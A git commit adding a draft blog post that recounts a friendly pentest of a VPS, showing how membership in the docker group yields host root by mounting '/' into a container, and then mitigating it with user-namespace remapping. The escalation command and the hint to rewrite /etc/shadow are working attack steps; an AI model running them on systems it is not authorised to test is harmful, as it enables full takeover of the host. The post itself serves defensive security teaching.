Add new blog post
This commit is contained in:
parent
da96fe8882
commit
9b793223a0
1 changed files with 157 additions and 0 deletions
157
content/posts/docker-privilege-escalation.md
Normal file
157
content/posts/docker-privilege-escalation.md
Normal file
|
@ -0,0 +1,157 @@
|
||||||
|
+++
|
||||||
|
title = "Privilege escalation using Docker"
|
||||||
|
date = "2020-08-25"
|
||||||
|
author = "Aloïs Micard"
|
||||||
|
authorTwitter = "" #do not include @
|
||||||
|
cover = ""
|
||||||
|
tags = ["Docker", "Security"]
|
||||||
|
keywords = ["", ""]
|
||||||
|
description = ""
|
||||||
|
showFullContent = false
|
||||||
|
draft = true
|
||||||
|
+++
|
||||||
|
|
||||||
|
I have done a little pentest audit on a friend VPS last week, he was providing Docker runtime
|
||||||
|
to some people, with SSH access, and wanted to know if his setup was secure.
|
||||||
|
|
||||||
|
By default, docker only allow to run command as root user, in most case this is not desired since giving
|
||||||
|
root access equals giving full power over the host. A simple workaround is to add the user to the 'docker'
|
||||||
|
group so that the user will be able to dial with the docker socket. And that's what my friend has done. But this setup
|
||||||
|
is **not secure at ALL** by default.
|
||||||
|
|
||||||
|
Let's see how to use the docker group to gain full root access on the host.
|
||||||
|
|
||||||
|
This method is really similar to the [lxc group privilege escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation),
|
||||||
|
and that's how I've found this one.
|
||||||
|
|
||||||
|
# Privilege escalation
|
||||||
|
|
||||||
|
The only thing I had on the VPS was an un-privileged user, like the
|
||||||
|
others users.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
creekorful@docker01:~$ id
|
||||||
|
uid=1001(creekorful) gid=1001(creekorful) groups=1001(creekorful),998(docker)
|
||||||
|
```
|
||||||
|
|
||||||
|
Here we can see that we are in the docker group, so we can use the docker daemon.
|
||||||
|
|
||||||
|
To gain root access one the host, one can create a docker container and mount the host disk
|
||||||
|
inside it.
|
||||||
|
|
||||||
|
This can be done with the following command:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim /bin/sh
|
||||||
|
#
|
||||||
|
```
|
||||||
|
|
||||||
|
Here we are asking docker to create a container using the *debian:stable-slim image*, and run the */bin/sh* command inside it.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root)
|
||||||
|
```
|
||||||
|
|
||||||
|
We are now root inside the container. Since Docker has SUID bit set, we were able to mount the whole host disk
|
||||||
|
inside the /mnt/root partition (*-v /:/mnt/root*).
|
||||||
|
|
||||||
|
Let's try to display */root* folder:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# ls -altr /mnt/root/root
|
||||||
|
total 56
|
||||||
|
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
|
||||||
|
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
|
||||||
|
drwx------ 2 root root 4096 Mar 27 07:52 .ssh
|
||||||
|
drwx------ 2 root root 4096 Mar 27 22:43 .docker
|
||||||
|
drwxr-xr-x 3 root root 4096 Mar 27 23:07 .local
|
||||||
|
drwx------ 3 root root 4096 Jun 8 09:40 .config
|
||||||
|
-rw------- 1 root root 14924 Jul 7 07:33 .viminfo
|
||||||
|
drwx------ 6 root root 4096 Jul 7 07:33 .
|
||||||
|
-rw-r--r-- 1 root root 5253 Jul 10 10:29 .bash_history
|
||||||
|
drwxr-xr-x 18 root root 4096 Aug 23 20:14 ..
|
||||||
|
```
|
||||||
|
|
||||||
|
It works! One can now change the root password in */etc/shadow* for example
|
||||||
|
and gain full root access on the host.
|
||||||
|
|
||||||
|
# How to mitigate the exploit?
|
||||||
|
|
||||||
|
Fortunately solutions exist to prevent this exploit. I will cover the most straightforward one.
|
||||||
|
|
||||||
|
Each unix process have a /proc/self/{u,g}id_map files. These files are used to give an ID mapping,
|
||||||
|
and are inherited.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
creekorful@docker01:~$ cat /proc/self/{u,g}id_map
|
||||||
|
0 0 4294967295
|
||||||
|
0 0 4294967295
|
||||||
|
```
|
||||||
|
|
||||||
|
This file tells us: uid 0 for current process is mapped to parent uid 0, and it's the same up to uid 4294967295.
|
||||||
|
|
||||||
|
What we will do mitigate the exploit is to map container uid 0 to something non-root (!= 0), fortunately this can
|
||||||
|
be done easily by using /etc/sub{g,u}id files.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
creekorful@docker01:~$ cat /etc/sub{g,u}id
|
||||||
|
debian:100000:65536
|
||||||
|
creekorful:165536:65536
|
||||||
|
debian:100000:65536
|
||||||
|
creekorful:165536:65536
|
||||||
|
```
|
||||||
|
|
||||||
|
These files are used to determinate the allowed range of sub {user,group} ID allowed to use by the user.
|
||||||
|
The format is: *<user>:<sub{g,u}id>:<sub{g,u}id count>*
|
||||||
|
|
||||||
|
So what we will do is add an *dockremap* (special docker user) entry to these files, and limit the sub{g,u}id of this user.
|
||||||
|
|
||||||
|
I have asked my friend to perform the following:
|
||||||
|
|
||||||
|
Add the dockremap entry to the /etc/subuid file:
|
||||||
|
|
||||||
|
```
|
||||||
|
root@docker01:~# echo 'dockremap:100:65536' >> /etc/subuid
|
||||||
|
```
|
||||||
|
|
||||||
|
By doing this we are saying: root inside the container (0) will be mapped to uid (100) in parent process (on the host).
|
||||||
|
|
||||||
|
Now we must ask docker to create the container using the *dockremap* user.
|
||||||
|
This can be done by modifying /etc/docker/daemon.json
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"userns-remap": "default"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
(Default means use dockremap user).
|
||||||
|
|
||||||
|
And finally, just restart the docker daemon to apply the changes.
|
||||||
|
|
||||||
|
# Let's try again
|
||||||
|
|
||||||
|
```sh
|
||||||
|
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim /bin/sh
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root)
|
||||||
|
```
|
||||||
|
|
||||||
|
As we can see we are still root inside the container. But what's for the outside?
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# cat /proc/self/uid_map
|
||||||
|
0 100 65536
|
||||||
|
```
|
||||||
|
|
||||||
|
as you can see the lower uid is now 100 instead of 0. We are no more root.
|
||||||
|
|
||||||
|
Let's try to check the content of /etc/shadow:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# cat /mnt/root/etc/shadow
|
||||||
|
cat: can't open '/mnt/root/etc/shadow': Permission denied
|
||||||
|
```
|
||||||
|
|
||||||
|
the exploit is now mitigated.
|
Loading…
Add table
Add a link
Reference in a new issue